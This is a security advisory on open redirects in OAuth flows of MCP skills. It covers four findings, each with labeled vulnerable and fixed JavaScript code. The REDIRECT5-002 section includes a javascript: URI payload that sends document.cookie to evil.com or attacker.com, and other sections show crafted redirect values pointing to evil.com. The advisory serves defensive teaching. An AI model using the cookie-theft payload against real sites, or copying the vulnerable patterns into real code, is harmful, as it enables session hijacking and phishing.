Claude skill open redirect via OAuth return_to and SPA history pushState — SA-SKL-REDIRECT5
Open redirects in MCP skills are most dangerous when they appear in OAuth callback handlers — a user completes a legitimate GitHub or Google OAuth flow and trusts the destination URL implicitly because authentication just succeeded. SA-SKL-REDIRECT5 covers four patterns: the OAuth state parameter used to smuggle an attacker-controlled returnTo URL; a hash fragment parsed with window.location.assign after OAuth callback that can carry a javascript: URI; an Express res.redirect(req.query.next) with no protocol or host check; and React Router's useNavigate called with an attacker-controlled absolute URL that triggers a full browser navigation to an external domain.
Open redirects in MCP skill OAuth flows
Open redirects are classified as Medium severity by OWASP but are frequently weaponized as the first step in a phishing or OAuth token theft chain. When the redirect follows a successful authentication flow, the user's trust in the domain is at its peak — they just authenticated and expect to be taken to their dashboard. An open redirect at this point delivers the user to an attacker-controlled domain while the browser bar briefly showed the legitimate skill domain. OAuth token theft via open redirect is a documented attack: if the OAuth provider allows redirect_uri parameters that forward to attacker infrastructure via a trusted intermediary, the authorization code or token can be captured before the callback handler processes it. All four SA-SKL-REDIRECT5 findings are exploitable by unauthenticated attackers via crafted links.
state.returnTo from query param; attacker constructs state={returnTo:"https://evil.com"}; victim redirected to attacker domain after OAuth completeswindow.location.assign(decodeURIComponent(hash.slice(1))) after OAuth; hash can contain javascript: URI; XSS via hash-based redirectres.redirect(req.query.next) without protocol or host check; any ?next=https://evil.com redirect accepted by ExpressuseNavigate(params.returnUrl) on absolute URL in React Router; full browser navigation to external site on route param without validationREDIRECT5-001 — OAuth state parameter used to pass client-controlled returnTo
OAuth 2.0's state parameter is designed for CSRF protection — the client generates an opaque random value, includes it in the authorization URL, and verifies it matches on callback. Some MCP skills abuse the state parameter to also carry the post-login destination URL, encoding it as JSON: state={"csrf":"abc123","returnTo":"/dashboard"}. Because the state value round-trips through the OAuth provider unmodified, an attacker who crafts an authorization URL with state={"csrf":"abc123","returnTo":"https://evil.com"} will cause the callback handler to redirect the authenticated user to evil.com after OAuth completes — the CSRF check passes (because the attacker also controls the csrf value in a crafted link) and the returnTo is used without origin validation. The fix is to store returnTo in the server-side session before the OAuth redirect begins, validate it on callback against the session, and never read the destination URL from client-controlled parameters.
// VULNERABLE — returnTo stored in OAuth state parameter; attacker controls it
import { randomBytes } from 'crypto';
app.get('/auth/github', (req, res) => {
const csrf = randomBytes(16).toString('hex');
// VULNERABLE: returnTo from query param encoded into state — attacker controls returnTo
const state = Buffer.from(JSON.stringify({
csrf,
returnTo: req.query.returnTo || '/dashboard', // attacker sets returnTo=https://evil.com
})).toString('base64url');
req.session.oauthCsrf = csrf;
res.redirect(`https://github.com/login/oauth/authorize?client_id=${CLIENT_ID}&state=${state}`);
});
app.get('/auth/github/callback', async (req, res) => {
const { csrf, returnTo } = JSON.parse(Buffer.from(req.query.state, 'base64url').toString());
if (csrf !== req.session.oauthCsrf) return res.status(403).send('CSRF mismatch');
await completeOAuth(req.query.code, req.session);
// VULNERABLE: returnTo came from attacker-controlled state parameter
res.redirect(returnTo); // redirects to https://evil.com
});
// FIXED — returnTo stored in server session before OAuth redirect; never in state
import { randomBytes } from 'crypto';
function isSafeRedirect(url, hostname) {
if (!url || typeof url !== 'string') return false;
if (!url.startsWith('/')) return false;
// Reject protocol-relative URLs (//) that look like paths but are absolute
if (url.startsWith('//')) return false;
return true;
}
app.get('/auth/github', (req, res) => {
const csrf = randomBytes(16).toString('hex');
// Store returnTo in server session — never in client-controlled state
const returnTo = req.query.returnTo;
req.session.oauthCsrf = csrf;
req.session.oauthReturnTo = isSafeRedirect(returnTo) ? returnTo : '/dashboard';
// state only contains CSRF — no redirect destination
const state = csrf;
res.redirect(`https://github.com/login/oauth/authorize?client_id=${CLIENT_ID}&state=${state}`);
});
app.get('/auth/github/callback', async (req, res) => {
if (req.query.state !== req.session.oauthCsrf) return res.status(403).send('CSRF mismatch');
await completeOAuth(req.query.code, req.session);
// returnTo came from server session — attacker cannot control it
const returnTo = req.session.oauthReturnTo || '/dashboard';
delete req.session.oauthCsrf;
delete req.session.oauthReturnTo;
res.redirect(returnTo);
});
REDIRECT5-002 — window.location.assign on hash fragment containing javascript: URI
Some single-page application OAuth flows pass the post-login destination as the URL hash fragment because hash fragments are not sent to the server and can survive client-side routing. After the OAuth callback sets the session cookie and redirects to the SPA shell, the SPA reads the hash and navigates to the stored destination. If the navigation is performed with window.location.assign(decodeURIComponent(hash.slice(1))) without validating the protocol, an attacker can craft a link where the hash contains a javascript: URI. When the SPA calls window.location.assign('javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)'), the browser executes the script in the page's origin context — giving the attacker full access to the authenticated session.
// VULNERABLE — window.location.assign on decoded hash fragment; javascript: URI executes
// SPA shell after OAuth callback:
// URL: https://skillaudit.dev/oauth/complete#javascript:fetch('https://evil.com/?c='+document.cookie)
function handleOAuthReturn() {
const dest = decodeURIComponent(window.location.hash.slice(1));
if (dest) {
// VULNERABLE: javascript: URI executes in page context
window.location.assign(dest);
}
}
// FIXED — validate protocol and hostname before any navigation
function handleOAuthReturn() {
const raw = window.location.hash.slice(1);
if (!raw) return;
try {
const decoded = decodeURIComponent(raw);
const url = new URL(decoded, window.location.origin);
// Allow only https: (never javascript:, data:, ftp:, etc.)
if (url.protocol !== 'https:') return;
// Allow only same hostname — no redirects to external domains
if (url.hostname !== window.location.hostname) return;
// Use history.replaceState for same-origin SPA navigation, not assign
// This avoids a full page reload for /dashboard etc.
if (url.pathname.startsWith('/')) {
window.history.replaceState(null, '', url.pathname + url.search);
// Dispatch a popstate event so the SPA router picks up the new path
window.dispatchEvent(new PopStateEvent('popstate'));
}
} catch {
// URL parsing failed — do nothing
}
}
REDIRECT5-003 — Express res.redirect(req.query.next) without protocol/host check
Express's res.redirect(url) accepts any string as a redirect target, including absolute URLs to external domains. A route that reads the redirect destination from a query parameter — common in login flows that need to send the user back to the page they were trying to reach — is an open redirect if the destination URL is not validated. An attacker can craft a login URL with ?next=https://evil.com and distribute it as a phishing link: the victim sees a legitimate login page URL, authenticates, and is redirected to the attacker site. The fix is to parse the destination URL and assert that it has the same hostname as the current request before redirecting.
// VULNERABLE — res.redirect on unvalidated query param
app.get('/login', (req, res) => {
res.render('login', { next: req.query.next });
});
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
if (!user) return res.status(401).send('Bad credentials');
req.session.userId = user.id;
// VULNERABLE: req.query.next can be https://evil.com
res.redirect(req.query.next || '/dashboard');
});
// FIXED — parse URL and assert same host before redirect
function safeNextUrl(next, req) {
if (!next || typeof next !== 'string') return '/dashboard';
// Reject protocol-relative URLs (//) and non-path strings
if (!next.startsWith('/') || next.startsWith('//')) return '/dashboard';
try {
// Resolve against current origin to detect tricks like /\evil.com
const url = new URL(next, `${req.protocol}://${req.hostname}`);
if (url.hostname !== req.hostname) return '/dashboard';
return url.pathname + url.search;
} catch {
return '/dashboard';
}
}
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
if (!user) return res.status(401).send('Bad credentials');
req.session.userId = user.id;
res.redirect(safeNextUrl(req.query.next, req));
});
REDIRECT5-004 — React Router useNavigate on absolute URL from route param
React Router's useNavigate hook is designed for SPA client-side routing. When called with an absolute URL like https://evil.com, it falls through to window.location.assign, performing a full browser navigation that leaves the SPA — the equivalent of clicking an external link. If a route param like :returnUrl is passed directly to useNavigate, an attacker can embed an absolute external URL in a route and trigger a redirect by getting the victim to visit a crafted link. The fix is to validate the URL before passing it to useNavigate: reject anything containing ://, and require the path to start with /.
// VULNERABLE — useNavigate on route param that may be absolute URL
import { useNavigate, useParams } from 'react-router-dom';
function OAuthCallback() {
const { returnUrl } = useParams();
const navigate = useNavigate();
useEffect(() => {
completeOAuth().then(() => {
// VULNERABLE: returnUrl from route — attacker visits /callback/https%3A%2F%2Fevil.com
navigate(decodeURIComponent(returnUrl || '/dashboard'));
});
}, []);
return null;
}
// FIXED — validate returnUrl is a relative path before useNavigate
import { useNavigate, useParams } from 'react-router-dom';
function isSafePath(url) {
if (!url || typeof url !== 'string') return false;
if (url.includes('://')) return false; // reject absolute URLs
if (!url.startsWith('/')) return false; // require root-relative path
if (url.startsWith('//')) return false; // reject protocol-relative
return true;
}
function OAuthCallback() {
const { returnUrl } = useParams();
const navigate = useNavigate();
useEffect(() => {
completeOAuth().then(() => {
const decoded = decodeURIComponent(returnUrl || '');
navigate(isSafePath(decoded) ? decoded : '/dashboard');
});
}, []);
return null;
}
Related patterns: Open redirect via OAuth state is closely related to SA-SKL-REDIRECT4: host header injection open redirect. For CSRF on OAuth callback routes that share session-fixation risk with open redirect, see SA-SKL-JWT4: algorithm confusion. The MCP skill OAuth security checklist covers the full OAuth flow hardening from state parameter to token storage.
| Finding | Severity | Vulnerable pattern | Fix |
|---|---|---|---|
REDIRECT5-001 | Critical | OAuth state.returnTo from query param; attacker crafts state to redirect after OAuth | Store returnTo in server session before OAuth start; validate on callback; never read from client params |
REDIRECT5-002 | Critical | window.location.assign(decodeURIComponent(hash)); hash contains javascript: URI | Parse with new URL(); assert protocol==='https:' and same hostname before navigation |
REDIRECT5-003 | High | res.redirect(req.query.next) without protocol or host check | Parse URL; assert hostname === req.hostname; reject non-path strings |
REDIRECT5-004 | High | useNavigate(params.returnUrl) on absolute URL triggers external navigation | Reject any URL containing ://; require path starts with / and not // |